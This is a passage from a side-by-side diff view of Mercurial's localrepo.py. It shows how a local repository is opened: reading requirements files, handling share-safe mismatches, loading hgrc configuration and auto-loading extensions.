487 | and return a set of requirements | |
488 |
|
488 | |||
489 | If allowmissing is True, we suppress ENOENT if raised""" |
|
489 | If allowmissing is True, we suppress ENOENT if raised""" | |
490 | # requires file contains a newline-delimited list of |
|
490 | # requires file contains a newline-delimited list of | |
491 | # features/capabilities the opener (us) must have in order to use |
|
491 | # features/capabilities the opener (us) must have in order to use | |
492 | # the repository. This file was introduced in Mercurial 0.9.2, |
|
492 | # the repository. This file was introduced in Mercurial 0.9.2, | |
493 | # which means very old repositories may not have one. We assume |
|
493 | # which means very old repositories may not have one. We assume | |
494 | # a missing file translates to no requirements. |
|
494 | # a missing file translates to no requirements. | |
495 | try: |
|
495 | try: | |
496 | requirements = set(vfs.read(b'requires').splitlines()) |
|
496 | requirements = set(vfs.read(b'requires').splitlines()) | |
497 | except IOError as e: |
|
497 | except IOError as e: | |
498 | if not (allowmissing and e.errno == errno.ENOENT): |
|
498 | if not (allowmissing and e.errno == errno.ENOENT): | |
499 | raise |
|
499 | raise | |
500 | requirements = set() |
|
500 | requirements = set() | |
501 | return requirements |
|
501 | return requirements | |
502 |
|
502 | |||
503 |
|
503 | |||
504 | def makelocalrepository(baseui, path, intents=None): |
|
504 | def makelocalrepository(baseui, path, intents=None): | |
505 | """Create a local repository object. |
|
505 | """Create a local repository object. | |
506 |
|
506 | |||
507 | Given arguments needed to construct a local repository, this function |
|
507 | Given arguments needed to construct a local repository, this function | |
508 | performs various early repository loading functionality (such as |
|
508 | performs various early repository loading functionality (such as | |
509 | reading the ``.hg/requires`` and ``.hg/hgrc`` files), validates that |
|
509 | reading the ``.hg/requires`` and ``.hg/hgrc`` files), validates that | |
510 | the repository can be opened, derives a type suitable for representing |
|
510 | the repository can be opened, derives a type suitable for representing | |
511 | that repository, and returns an instance of it. |
|
511 | that repository, and returns an instance of it. | |
512 |
|
512 | |||
513 | The returned object conforms to the ``repository.completelocalrepository`` |
|
513 | The returned object conforms to the ``repository.completelocalrepository`` | |
514 | interface. |
|
514 | interface. | |
515 |
|
515 | |||
516 | The repository type is derived by calling a series of factory functions |
|
516 | The repository type is derived by calling a series of factory functions | |
517 | for each aspect/interface of the final repository. These are defined by |
|
517 | for each aspect/interface of the final repository. These are defined by | |
518 | ``REPO_INTERFACES``. |
|
518 | ``REPO_INTERFACES``. | |
519 |
|
519 | |||
520 | Each factory function is called to produce a type implementing a specific |
|
520 | Each factory function is called to produce a type implementing a specific | |
521 | interface. The cumulative list of returned types will be combined into a |
|
521 | interface. The cumulative list of returned types will be combined into a | |
522 | new type and that type will be instantiated to represent the local |
|
522 | new type and that type will be instantiated to represent the local | |
523 | repository. |
|
523 | repository. | |
524 |
|
524 | |||
525 | The factory functions each receive various state that may be consulted |
|
525 | The factory functions each receive various state that may be consulted | |
526 | as part of deriving a type. |
|
526 | as part of deriving a type. | |
527 |
|
527 | |||
528 | Extensions should wrap these factory functions to customize repository type |
|
528 | Extensions should wrap these factory functions to customize repository type | |
529 | creation. Note that an extension's wrapped function may be called even if |
|
529 | creation. Note that an extension's wrapped function may be called even if | |
530 | that extension is not loaded for the repo being constructed. Extensions |
|
530 | that extension is not loaded for the repo being constructed. Extensions | |
531 | should check if their ``__name__`` appears in the |
|
531 | should check if their ``__name__`` appears in the | |
532 | ``extensionmodulenames`` set passed to the factory function and no-op if |
|
532 | ``extensionmodulenames`` set passed to the factory function and no-op if | |
533 | not. |
|
533 | not. | |
534 | """ |
|
534 | """ | |
535 | ui = baseui.copy() |
|
535 | ui = baseui.copy() | |
536 | # Prevent copying repo configuration. |
|
536 | # Prevent copying repo configuration. | |
537 | ui.copy = baseui.copy |
|
537 | ui.copy = baseui.copy | |
538 |
|
538 | |||
539 | # Working directory VFS rooted at repository root. |
|
539 | # Working directory VFS rooted at repository root. | |
540 | wdirvfs = vfsmod.vfs(path, expandpath=True, realpath=True) |
|
540 | wdirvfs = vfsmod.vfs(path, expandpath=True, realpath=True) | |
541 |
|
541 | |||
542 | # Main VFS for .hg/ directory. |
|
542 | # Main VFS for .hg/ directory. | |
543 | hgpath = wdirvfs.join(b'.hg') |
|
543 | hgpath = wdirvfs.join(b'.hg') | |
544 | hgvfs = vfsmod.vfs(hgpath, cacheaudited=True) |
|
544 | hgvfs = vfsmod.vfs(hgpath, cacheaudited=True) | |
545 | # Whether this repository is shared one or not |
|
545 | # Whether this repository is shared one or not | |
546 | shared = False |
|
546 | shared = False | |
547 | # If this repository is shared, vfs pointing to shared repo |
|
547 | # If this repository is shared, vfs pointing to shared repo | |
548 | sharedvfs = None |
|
548 | sharedvfs = None | |
549 |
|
549 | |||
550 | # The .hg/ path should exist and should be a directory. All other |
|
550 | # The .hg/ path should exist and should be a directory. All other | |
551 | # cases are errors. |
|
551 | # cases are errors. | |
552 | if not hgvfs.isdir(): |
|
552 | if not hgvfs.isdir(): | |
553 | try: |
|
553 | try: | |
554 | hgvfs.stat() |
|
554 | hgvfs.stat() | |
555 | except OSError as e: |
|
555 | except OSError as e: | |
556 | if e.errno != errno.ENOENT: |
|
556 | if e.errno != errno.ENOENT: | |
557 | raise |
|
557 | raise | |
558 | except ValueError as e: |
|
558 | except ValueError as e: | |
559 | # Can be raised on Python 3.8 when path is invalid. |
|
559 | # Can be raised on Python 3.8 when path is invalid. | |
560 | raise error.Abort( |
|
560 | raise error.Abort( | |
561 | _(b'invalid path %s: %s') % (path, stringutil.forcebytestr(e)) |
|
561 | _(b'invalid path %s: %s') % (path, stringutil.forcebytestr(e)) | |
562 | ) |
|
562 | ) | |
563 |
|
563 | |||
564 | raise error.RepoError(_(b'repository %s not found') % path) |
|
564 | raise error.RepoError(_(b'repository %s not found') % path) | |
565 |
|
565 | |||
566 | requirements = _readrequires(hgvfs, True) |
|
566 | requirements = _readrequires(hgvfs, True) | |
567 | shared = ( |
|
567 | shared = ( | |
568 | requirementsmod.SHARED_REQUIREMENT in requirements |
|
568 | requirementsmod.SHARED_REQUIREMENT in requirements | |
569 | or requirementsmod.RELATIVE_SHARED_REQUIREMENT in requirements |
|
569 | or requirementsmod.RELATIVE_SHARED_REQUIREMENT in requirements | |
570 | ) |
|
570 | ) | |
571 | storevfs = None |
|
571 | storevfs = None | |
572 | if shared: |
|
572 | if shared: | |
573 | # This is a shared repo |
|
573 | # This is a shared repo | |
574 | sharedvfs = _getsharedvfs(hgvfs, requirements) |
|
574 | sharedvfs = _getsharedvfs(hgvfs, requirements) | |
575 | storevfs = vfsmod.vfs(sharedvfs.join(b'store')) |
|
575 | storevfs = vfsmod.vfs(sharedvfs.join(b'store')) | |
576 | else: |
|
576 | else: | |
577 | storevfs = vfsmod.vfs(hgvfs.join(b'store')) |
|
577 | storevfs = vfsmod.vfs(hgvfs.join(b'store')) | |
578 |
|
578 | |||
579 | # if .hg/requires contains the sharesafe requirement, it means |
|
579 | # if .hg/requires contains the sharesafe requirement, it means | |
580 | # there exists a `.hg/store/requires` too and we should read it |
|
580 | # there exists a `.hg/store/requires` too and we should read it | |
581 | # NOTE: presence of SHARESAFE_REQUIREMENT imply that store requirement |
|
581 | # NOTE: presence of SHARESAFE_REQUIREMENT imply that store requirement | |
582 | # is present. We never write SHARESAFE_REQUIREMENT for a repo if store |
|
582 | # is present. We never write SHARESAFE_REQUIREMENT for a repo if store | |
583 | # is not present, refer checkrequirementscompat() for that |
|
583 | # is not present, refer checkrequirementscompat() for that | |
584 | # |
|
584 | # | |
585 | # However, if SHARESAFE_REQUIREMENT is not present, it means that the |
|
585 | # However, if SHARESAFE_REQUIREMENT is not present, it means that the | |
586 | # repository was shared the old way. We check the share source .hg/requires |
|
586 | # repository was shared the old way. We check the share source .hg/requires | |
587 | # for SHARESAFE_REQUIREMENT to detect whether the current repository needs |
|
587 | # for SHARESAFE_REQUIREMENT to detect whether the current repository needs | |
588 | # to be reshared |
|
588 | # to be reshared | |
589 | hint = _(b"see `hg help config.format.use-share-safe` for more information") |
|
589 | hint = _(b"see `hg help config.format.use-share-safe` for more information") | |
590 | if requirementsmod.SHARESAFE_REQUIREMENT in requirements: |
|
590 | if requirementsmod.SHARESAFE_REQUIREMENT in requirements: | |
591 |
|
591 | |||
592 | if ( |
|
592 | if ( | |
593 | shared |
|
593 | shared | |
594 | and requirementsmod.SHARESAFE_REQUIREMENT |
|
594 | and requirementsmod.SHARESAFE_REQUIREMENT | |
595 | not in _readrequires(sharedvfs, True) |
|
595 | not in _readrequires(sharedvfs, True) | |
596 | ): |
|
596 | ): | |
597 | mismatch_warn = ui.configbool( |
|
597 | mismatch_warn = ui.configbool( | |
598 | b'share', b'safe-mismatch.source-not-safe.warn' |
|
598 | b'share', b'safe-mismatch.source-not-safe.warn' | |
599 | ) |
|
599 | ) | |
600 | mismatch_config = ui.config( |
|
600 | mismatch_config = ui.config( | |
601 | b'share', b'safe-mismatch.source-not-safe' |
|
601 | b'share', b'safe-mismatch.source-not-safe' | |
602 | ) |
|
602 | ) | |
603 | if mismatch_config in ( |
|
603 | if mismatch_config in ( | |
604 | b'downgrade-allow', |
|
604 | b'downgrade-allow', | |
605 | b'allow', |
|
605 | b'allow', | |
606 | b'downgrade-abort', |
|
606 | b'downgrade-abort', | |
607 | ): |
|
607 | ): | |
608 | # prevent cyclic import localrepo -> upgrade -> localrepo |
|
608 | # prevent cyclic import localrepo -> upgrade -> localrepo | |
609 | from . import upgrade |
|
609 | from . import upgrade | |
610 |
|
610 | |||
611 | upgrade.downgrade_share_to_non_safe( |
|
611 | upgrade.downgrade_share_to_non_safe( | |
612 | ui, |
|
612 | ui, | |
613 | hgvfs, |
|
613 | hgvfs, | |
614 | sharedvfs, |
|
614 | sharedvfs, | |
615 | requirements, |
|
615 | requirements, | |
616 | mismatch_config, |
|
616 | mismatch_config, | |
617 | mismatch_warn, |
|
617 | mismatch_warn, | |
618 | ) |
|
618 | ) | |
619 | elif mismatch_config == b'abort': |
|
619 | elif mismatch_config == b'abort': | |
620 | raise error.Abort( |
|
620 | raise error.Abort( | |
621 | _(b"share source does not support share-safe requirement"), |
|
621 | _(b"share source does not support share-safe requirement"), | |
622 | hint=hint, |
|
622 | hint=hint, | |
623 | ) |
|
623 | ) | |
624 | else: |
|
624 | else: | |
625 | raise error.Abort( |
|
625 | raise error.Abort( | |
626 | _( |
|
626 | _( | |
627 | b"share-safe mismatch with source.\nUnrecognized" |
|
627 | b"share-safe mismatch with source.\nUnrecognized" | |
628 | b" value '%s' of `share.safe-mismatch.source-not-safe`" |
|
628 | b" value '%s' of `share.safe-mismatch.source-not-safe`" | |
629 | b" set." |
|
629 | b" set." | |
630 | ) |
|
630 | ) | |
631 | % mismatch_config, |
|
631 | % mismatch_config, | |
632 | hint=hint, |
|
632 | hint=hint, | |
633 | ) |
|
633 | ) | |
634 | else: |
|
634 | else: | |
635 | requirements |= _readrequires(storevfs, False) |
|
635 | requirements |= _readrequires(storevfs, False) | |
636 | elif shared: |
|
636 | elif shared: | |
637 | sourcerequires = _readrequires(sharedvfs, False) |
|
637 | sourcerequires = _readrequires(sharedvfs, False) | |
638 | if requirementsmod.SHARESAFE_REQUIREMENT in sourcerequires: |
|
638 | if requirementsmod.SHARESAFE_REQUIREMENT in sourcerequires: | |
639 | mismatch_config = ui.config(b'share', b'safe-mismatch.source-safe') |
|
639 | mismatch_config = ui.config(b'share', b'safe-mismatch.source-safe') | |
640 | mismatch_warn = ui.configbool( |
|
640 | mismatch_warn = ui.configbool( | |
641 | b'share', b'safe-mismatch.source-safe.warn' |
|
641 | b'share', b'safe-mismatch.source-safe.warn' | |
642 | ) |
|
642 | ) | |
643 | if mismatch_config in ( |
|
643 | if mismatch_config in ( | |
644 | b'upgrade-allow', |
|
644 | b'upgrade-allow', | |
645 | b'allow', |
|
645 | b'allow', | |
646 | b'upgrade-abort', |
|
646 | b'upgrade-abort', | |
647 | ): |
|
647 | ): | |
648 | # prevent cyclic import localrepo -> upgrade -> localrepo |
|
648 | # prevent cyclic import localrepo -> upgrade -> localrepo | |
649 | from . import upgrade |
|
649 | from . import upgrade | |
650 |
|
650 | |||
651 | upgrade.upgrade_share_to_safe( |
|
651 | upgrade.upgrade_share_to_safe( | |
652 | ui, |
|
652 | ui, | |
653 | hgvfs, |
|
653 | hgvfs, | |
654 | storevfs, |
|
654 | storevfs, | |
655 | requirements, |
|
655 | requirements, | |
656 | mismatch_config, |
|
656 | mismatch_config, | |
657 | mismatch_warn, |
|
657 | mismatch_warn, | |
658 | ) |
|
658 | ) | |
659 | elif mismatch_config == b'abort': |
|
659 | elif mismatch_config == b'abort': | |
660 | raise error.Abort( |
|
660 | raise error.Abort( | |
661 | _( |
|
661 | _( | |
662 | b'version mismatch: source uses share-safe' |
|
662 | b'version mismatch: source uses share-safe' | |
663 | b' functionality while the current share does not' |
|
663 | b' functionality while the current share does not' | |
664 | ), |
|
664 | ), | |
665 | hint=hint, |
|
665 | hint=hint, | |
666 | ) |
|
666 | ) | |
667 | else: |
|
667 | else: | |
668 | raise error.Abort( |
|
668 | raise error.Abort( | |
669 | _( |
|
669 | _( | |
670 | b"share-safe mismatch with source.\nUnrecognized" |
|
670 | b"share-safe mismatch with source.\nUnrecognized" | |
671 | b" value '%s' of `share.safe-mismatch.source-safe` set." |
|
671 | b" value '%s' of `share.safe-mismatch.source-safe` set." | |
672 | ) |
|
672 | ) | |
673 | % mismatch_config, |
|
673 | % mismatch_config, | |
674 | hint=hint, |
|
674 | hint=hint, | |
675 | ) |
|
675 | ) | |
676 |
|
676 | |||
677 | # The .hg/hgrc file may load extensions or contain config options |
|
677 | # The .hg/hgrc file may load extensions or contain config options | |
678 | # that influence repository construction. Attempt to load it and |
|
678 | # that influence repository construction. Attempt to load it and | |
679 | # process any new extensions that it may have pulled in. |
|
679 | # process any new extensions that it may have pulled in. | |
680 | if loadhgrc(ui, wdirvfs, hgvfs, requirements, sharedvfs): |
|
680 | if loadhgrc(ui, wdirvfs, hgvfs, requirements, sharedvfs): | |
681 | afterhgrcload(ui, wdirvfs, hgvfs, requirements) |
|
681 | afterhgrcload(ui, wdirvfs, hgvfs, requirements) | |
682 | extensions.loadall(ui) |
|
682 | extensions.loadall(ui) | |
683 | extensions.populateui(ui) |
|
683 | extensions.populateui(ui) | |
684 |
|
684 | |||
685 | # Set of module names of extensions loaded for this repository. |
|
685 | # Set of module names of extensions loaded for this repository. | |
686 | extensionmodulenames = {m.__name__ for n, m in extensions.extensions(ui)} |
|
686 | extensionmodulenames = {m.__name__ for n, m in extensions.extensions(ui)} | |
687 |
|
687 | |||
688 | supportedrequirements = gathersupportedrequirements(ui) |
|
688 | supportedrequirements = gathersupportedrequirements(ui) | |
689 |
|
689 | |||
690 | # We first validate the requirements are known. |
|
690 | # We first validate the requirements are known. | |
691 | ensurerequirementsrecognized(requirements, supportedrequirements) |
|
691 | ensurerequirementsrecognized(requirements, supportedrequirements) | |
692 |
|
692 | |||
693 | # Then we validate that the known set is reasonable to use together. |
|
693 | # Then we validate that the known set is reasonable to use together. | |
694 | ensurerequirementscompatible(ui, requirements) |
|
694 | ensurerequirementscompatible(ui, requirements) | |
695 |
|
695 | |||
696 | # TODO there are unhandled edge cases related to opening repositories with |
|
696 | # TODO there are unhandled edge cases related to opening repositories with | |
697 | # shared storage. If storage is shared, we should also test for requirements |
|
697 | # shared storage. If storage is shared, we should also test for requirements | |
698 | # compatibility in the pointed-to repo. This entails loading the .hg/hgrc in |
|
698 | # compatibility in the pointed-to repo. This entails loading the .hg/hgrc in | |
699 | # that repo, as that repo may load extensions needed to open it. This is a |
|
699 | # that repo, as that repo may load extensions needed to open it. This is a | |
700 | # bit complicated because we don't want the other hgrc to overwrite settings |
|
700 | # bit complicated because we don't want the other hgrc to overwrite settings | |
701 | # in this hgrc. |
|
701 | # in this hgrc. | |
702 | # |
|
702 | # | |
703 | # This bug is somewhat mitigated by the fact that we copy the .hg/requires |
|
703 | # This bug is somewhat mitigated by the fact that we copy the .hg/requires | |
704 | # file when sharing repos. But if a requirement is added after the share is |
|
704 | # file when sharing repos. But if a requirement is added after the share is | |
705 | # performed, thereby introducing a new requirement for the opener, we may |
|
705 | # performed, thereby introducing a new requirement for the opener, we may | |
706 | # will not see that and could encounter a run-time error interacting with |
|
706 | # will not see that and could encounter a run-time error interacting with | |
707 | # that shared store since it has an unknown-to-us requirement. |
|
707 | # that shared store since it has an unknown-to-us requirement. | |
708 |
|
708 | |||
709 | # At this point, we know we should be capable of opening the repository. |
|
709 | # At this point, we know we should be capable of opening the repository. | |
710 | # Now get on with doing that. |
|
710 | # Now get on with doing that. | |
711 |
|
711 | |||
712 | features = set() |
|
712 | features = set() | |
713 |
|
713 | |||
714 | # The "store" part of the repository holds versioned data. How it is |
|
714 | # The "store" part of the repository holds versioned data. How it is | |
715 | # accessed is determined by various requirements. If `shared` or |
|
715 | # accessed is determined by various requirements. If `shared` or | |
716 | # `relshared` requirements are present, this indicates current repository |
|
716 | # `relshared` requirements are present, this indicates current repository | |
717 | # is a share and store exists in path mentioned in `.hg/sharedpath` |
|
717 | # is a share and store exists in path mentioned in `.hg/sharedpath` | |
718 | if shared: |
|
718 | if shared: | |
719 | storebasepath = sharedvfs.base |
|
719 | storebasepath = sharedvfs.base | |
720 | cachepath = sharedvfs.join(b'cache') |
|
720 | cachepath = sharedvfs.join(b'cache') | |
721 | features.add(repository.REPO_FEATURE_SHARED_STORAGE) |
|
721 | features.add(repository.REPO_FEATURE_SHARED_STORAGE) | |
722 | else: |
|
722 | else: | |
723 | storebasepath = hgvfs.base |
|
723 | storebasepath = hgvfs.base | |
724 | cachepath = hgvfs.join(b'cache') |
|
724 | cachepath = hgvfs.join(b'cache') | |
725 | wcachepath = hgvfs.join(b'wcache') |
|
725 | wcachepath = hgvfs.join(b'wcache') | |
726 |
|
726 | |||
727 | # The store has changed over time and the exact layout is dictated by |
|
727 | # The store has changed over time and the exact layout is dictated by | |
728 | # requirements. The store interface abstracts differences across all |
|
728 | # requirements. The store interface abstracts differences across all | |
729 | # of them. |
|
729 | # of them. | |
730 | store = makestore( |
|
730 | store = makestore( | |
731 | requirements, |
|
731 | requirements, | |
732 | storebasepath, |
|
732 | storebasepath, | |
733 | lambda base: vfsmod.vfs(base, cacheaudited=True), |
|
733 | lambda base: vfsmod.vfs(base, cacheaudited=True), | |
734 | ) |
|
734 | ) | |
735 | hgvfs.createmode = store.createmode |
|
735 | hgvfs.createmode = store.createmode | |
736 |
|
736 | |||
737 | storevfs = store.vfs |
|
737 | storevfs = store.vfs | |
738 | storevfs.options = resolvestorevfsoptions(ui, requirements, features) |
|
738 | storevfs.options = resolvestorevfsoptions(ui, requirements, features) | |
739 |
|
739 | |||
740 | if ( |
|
740 | if ( | |
741 | requirementsmod.REVLOGV2_REQUIREMENT in requirements |
|
741 | requirementsmod.REVLOGV2_REQUIREMENT in requirements | |
742 | or requirementsmod.CHANGELOGV2_REQUIREMENT in requirements |
|
742 | or requirementsmod.CHANGELOGV2_REQUIREMENT in requirements | |
743 | ): |
|
743 | ): | |
744 | features.add(repository.REPO_FEATURE_SIDE_DATA) |
|
744 | features.add(repository.REPO_FEATURE_SIDE_DATA) | |
745 | # the revlogv2 docket introduced race condition that we need to fix |
|
745 | # the revlogv2 docket introduced race condition that we need to fix | |
746 | features.discard(repository.REPO_FEATURE_STREAM_CLONE) |
|
746 | features.discard(repository.REPO_FEATURE_STREAM_CLONE) | |
747 |
|
747 | |||
748 | # The cache vfs is used to manage cache files. |
|
748 | # The cache vfs is used to manage cache files. | |
749 | cachevfs = vfsmod.vfs(cachepath, cacheaudited=True) |
|
749 | cachevfs = vfsmod.vfs(cachepath, cacheaudited=True) | |
750 | cachevfs.createmode = store.createmode |
|
750 | cachevfs.createmode = store.createmode | |
751 | # The cache vfs is used to manage cache files related to the working copy |
|
751 | # The cache vfs is used to manage cache files related to the working copy | |
752 | wcachevfs = vfsmod.vfs(wcachepath, cacheaudited=True) |
|
752 | wcachevfs = vfsmod.vfs(wcachepath, cacheaudited=True) | |
753 | wcachevfs.createmode = store.createmode |
|
753 | wcachevfs.createmode = store.createmode | |
754 |
|
754 | |||
755 | # Now resolve the type for the repository object. We do this by repeatedly |
|
755 | # Now resolve the type for the repository object. We do this by repeatedly | |
756 | # calling a factory function to produces types for specific aspects of the |
|
756 | # calling a factory function to produces types for specific aspects of the | |
757 | # repo's operation. The aggregate returned types are used as base classes |
|
757 | # repo's operation. The aggregate returned types are used as base classes | |
758 | # for a dynamically-derived type, which will represent our new repository. |
|
758 | # for a dynamically-derived type, which will represent our new repository. | |
759 |
|
759 | |||
760 | bases = [] |
|
760 | bases = [] | |
761 | extrastate = {} |
|
761 | extrastate = {} | |
762 |
|
762 | |||
763 | for iface, fn in REPO_INTERFACES: |
|
763 | for iface, fn in REPO_INTERFACES: | |
764 | # We pass all potentially useful state to give extensions tons of |
|
764 | # We pass all potentially useful state to give extensions tons of | |
765 | # flexibility. |
|
765 | # flexibility. | |
766 | typ = fn()( |
|
766 | typ = fn()( | |
767 | ui=ui, |
|
767 | ui=ui, | |
768 | intents=intents, |
|
768 | intents=intents, | |
769 | requirements=requirements, |
|
769 | requirements=requirements, | |
770 | features=features, |
|
770 | features=features, | |
771 | wdirvfs=wdirvfs, |
|
771 | wdirvfs=wdirvfs, | |
772 | hgvfs=hgvfs, |
|
772 | hgvfs=hgvfs, | |
773 | store=store, |
|
773 | store=store, | |
774 | storevfs=storevfs, |
|
774 | storevfs=storevfs, | |
775 | storeoptions=storevfs.options, |
|
775 | storeoptions=storevfs.options, | |
776 | cachevfs=cachevfs, |
|
776 | cachevfs=cachevfs, | |
777 | wcachevfs=wcachevfs, |
|
777 | wcachevfs=wcachevfs, | |
778 | extensionmodulenames=extensionmodulenames, |
|
778 | extensionmodulenames=extensionmodulenames, | |
779 | extrastate=extrastate, |
|
779 | extrastate=extrastate, | |
780 | baseclasses=bases, |
|
780 | baseclasses=bases, | |
781 | ) |
|
781 | ) | |
782 |
|
782 | |||
783 | if not isinstance(typ, type): |
|
783 | if not isinstance(typ, type): | |
784 | raise error.ProgrammingError( |
|
784 | raise error.ProgrammingError( | |
785 | b'unable to construct type for %s' % iface |
|
785 | b'unable to construct type for %s' % iface | |
786 | ) |
|
786 | ) | |
787 |
|
787 | |||
788 | bases.append(typ) |
|
788 | bases.append(typ) | |
789 |
|
789 | |||
790 | # type() allows you to use characters in type names that wouldn't be |
|
790 | # type() allows you to use characters in type names that wouldn't be | |
791 | # recognized as Python symbols in source code. We abuse that to add |
|
791 | # recognized as Python symbols in source code. We abuse that to add | |
792 | # rich information about our constructed repo. |
|
792 | # rich information about our constructed repo. | |
793 | name = pycompat.sysstr( |
|
793 | name = pycompat.sysstr( | |
794 | b'derivedrepo:%s<%s>' % (wdirvfs.base, b','.join(sorted(requirements))) |
|
794 | b'derivedrepo:%s<%s>' % (wdirvfs.base, b','.join(sorted(requirements))) | |
795 | ) |
|
795 | ) | |
796 |
|
796 | |||
797 | cls = type(name, tuple(bases), {}) |
|
797 | cls = type(name, tuple(bases), {}) | |
798 |
|
798 | |||
799 | return cls( |
|
799 | return cls( | |
800 | baseui=baseui, |
|
800 | baseui=baseui, | |
801 | ui=ui, |
|
801 | ui=ui, | |
802 | origroot=path, |
|
802 | origroot=path, | |
803 | wdirvfs=wdirvfs, |
|
803 | wdirvfs=wdirvfs, | |
804 | hgvfs=hgvfs, |
|
804 | hgvfs=hgvfs, | |
805 | requirements=requirements, |
|
805 | requirements=requirements, | |
806 | supportedrequirements=supportedrequirements, |
|
806 | supportedrequirements=supportedrequirements, | |
807 | sharedpath=storebasepath, |
|
807 | sharedpath=storebasepath, | |
808 | store=store, |
|
808 | store=store, | |
809 | cachevfs=cachevfs, |
|
809 | cachevfs=cachevfs, | |
810 | wcachevfs=wcachevfs, |
|
810 | wcachevfs=wcachevfs, | |
811 | features=features, |
|
811 | features=features, | |
812 | intents=intents, |
|
812 | intents=intents, | |
813 | ) |
|
813 | ) | |
814 |
|
814 | |||
815 |
|
815 | |||
816 | def loadhgrc(ui, wdirvfs, hgvfs, requirements, sharedvfs=None): |
|
816 | def loadhgrc(ui, wdirvfs, hgvfs, requirements, sharedvfs=None): | |
817 | """Load hgrc files/content into a ui instance. |
|
817 | """Load hgrc files/content into a ui instance. | |
818 |
|
818 | |||
819 | This is called during repository opening to load any additional |
|
819 | This is called during repository opening to load any additional | |
820 | config files or settings relevant to the current repository. |
|
820 | config files or settings relevant to the current repository. | |
821 |
|
821 | |||
822 | Returns a bool indicating whether any additional configs were loaded. |
|
822 | Returns a bool indicating whether any additional configs were loaded. | |
823 |
|
823 | |||
824 | Extensions should monkeypatch this function to modify how per-repo |
|
824 | Extensions should monkeypatch this function to modify how per-repo | |
825 | configs are loaded. For example, an extension may wish to pull in |
|
825 | configs are loaded. For example, an extension may wish to pull in | |
826 | configs from alternate files or sources. |
|
826 | configs from alternate files or sources. | |
827 |
|
827 | |||
828 | sharedvfs is vfs object pointing to source repo if the current one is a |
|
828 | sharedvfs is vfs object pointing to source repo if the current one is a | |
829 | shared one |
|
829 | shared one | |
830 | """ |
|
830 | """ | |
831 | if not rcutil.use_repo_hgrc(): |
|
831 | if not rcutil.use_repo_hgrc(): | |
832 | return False |
|
832 | return False | |
833 |
|
833 | |||
834 | ret = False |
|
834 | ret = False | |
835 | # first load config from shared source if we has to |
|
835 | # first load config from shared source if we has to | |
836 | if requirementsmod.SHARESAFE_REQUIREMENT in requirements and sharedvfs: |
|
836 | if requirementsmod.SHARESAFE_REQUIREMENT in requirements and sharedvfs: | |
837 | try: |
|
837 | try: | |
838 | ui.readconfig(sharedvfs.join(b'hgrc'), root=sharedvfs.base) |
|
838 | ui.readconfig(sharedvfs.join(b'hgrc'), root=sharedvfs.base) | |
839 | ret = True |
|
839 | ret = True | |
840 | except IOError: |
|
840 | except IOError: | |
841 | pass |
|
841 | pass | |
842 |
|
842 | |||
843 | try: |
|
843 | try: | |
844 | ui.readconfig(hgvfs.join(b'hgrc'), root=wdirvfs.base) |
|
844 | ui.readconfig(hgvfs.join(b'hgrc'), root=wdirvfs.base) | |
845 | ret = True |
|
845 | ret = True | |
846 | except IOError: |
|
846 | except IOError: | |
847 | pass |
|
847 | pass | |
848 |
|
848 | |||
849 | try: |
|
849 | try: | |
850 | ui.readconfig(hgvfs.join(b'hgrc-not-shared'), root=wdirvfs.base) |
|
850 | ui.readconfig(hgvfs.join(b'hgrc-not-shared'), root=wdirvfs.base) | |
851 | ret = True |
|
851 | ret = True | |
852 | except IOError: |
|
852 | except IOError: | |
853 | pass |
|
853 | pass | |
854 |
|
854 | |||
855 | return ret |
|
855 | return ret | |
856 |
|
856 | |||
857 |
|
857 | |||
858 | def afterhgrcload(ui, wdirvfs, hgvfs, requirements): |
|
858 | def afterhgrcload(ui, wdirvfs, hgvfs, requirements): | |
859 | """Perform additional actions after .hg/hgrc is loaded. |
|
859 | """Perform additional actions after .hg/hgrc is loaded. | |
860 |
|
860 | |||
861 | This function is called during repository loading immediately after |
|
861 | This function is called during repository loading immediately after | |
862 | the .hg/hgrc file is loaded and before per-repo extensions are loaded. |
|
862 | the .hg/hgrc file is loaded and before per-repo extensions are loaded. | |
863 |
|
863 | |||
864 | The function can be used to validate configs, automatically add |
|
864 | The function can be used to validate configs, automatically add | |
865 | options (including extensions) based on requirements, etc. |
|
865 | options (including extensions) based on requirements, etc. | |
866 | """ |
|
866 | """ | |
867 |
|
867 | |||
868 | # Map of requirements to list of extensions to load automatically when |
|
868 | # Map of requirements to list of extensions to load automatically when | |
869 | # requirement is present. |
|
869 | # requirement is present. | |
870 | autoextensions = { |
|
870 | autoextensions = { | |
871 | b'git': [b'git'], |
|
871 | b'git': [b'git'], | |
872 | b'largefiles': [b'largefiles'], |
|
872 | b'largefiles': [b'largefiles'], | |
873 | b'lfs': [b'lfs'], |
|
873 | b'lfs': [b'lfs'], | |
874 | } |
|
874 | } | |
875 |
|
875 | |||
876 | for requirement, names in sorted(autoextensions.items()): |
|
876 | for requirement, names in sorted(autoextensions.items()): | |
877 | if requirement not in requirements: |
|
877 | if requirement not in requirements: | |
878 | continue |
|
878 | continue | |
879 |
|
879 | |||
880 | for name in names: |
|
880 | for name in names: | |
881 | if not ui.hasconfig(b'extensions', name): |
|
881 | if not ui.hasconfig(b'extensions', name): | |
882 | ui.setconfig(b'extensions', name, b'', source=b'autoload') |
|
882 | ui.setconfig(b'extensions', name, b'', source=b'autoload') | |
883 |
|
883 | |||
884 |
|
884 | |||
885 | def gathersupportedrequirements(ui): |
|
885 | def gathersupportedrequirements(ui): | |
886 | """Determine the complete set of recognized requirements.""" |
|
886 | """Determine the complete set of recognized requirements.""" | |
887 | # Start with all requirements supported by this file. |
|
887 | # Start with all requirements supported by this file. | |
888 | supported = set(localrepository._basesupported) |
|
888 | supported = set(localrepository._basesupported) | |
889 |
|
889 | |||
890 | if dirstate.SUPPORTS_DIRSTATE_V2: |
|
890 | if dirstate.SUPPORTS_DIRSTATE_V2: | |
891 | supported.add(requirementsmod.DIRSTATE_V2_REQUIREMENT) |
|
891 | supported.add(requirementsmod.DIRSTATE_V2_REQUIREMENT) | |
892 |
|
892 | |||
893 | # Execute ``featuresetupfuncs`` entries if they belong to an extension |
|
893 | # Execute ``featuresetupfuncs`` entries if they belong to an extension | |
894 | # relevant to this ui instance. |
|
894 | # relevant to this ui instance. | |
895 | modules = {m.__name__ for n, m in extensions.extensions(ui)} |
|
895 | modules = {m.__name__ for n, m in extensions.extensions(ui)} | |
896 |
|
896 | |||
897 | for fn in featuresetupfuncs: |
|
897 | for fn in featuresetupfuncs: | |
898 | if fn.__module__ in modules: |
|
898 | if fn.__module__ in modules: | |
899 | fn(ui, supported) |
|
899 | fn(ui, supported) | |
900 |
|
900 | |||
901 | # Add derived requirements from registered compression engines. |
|
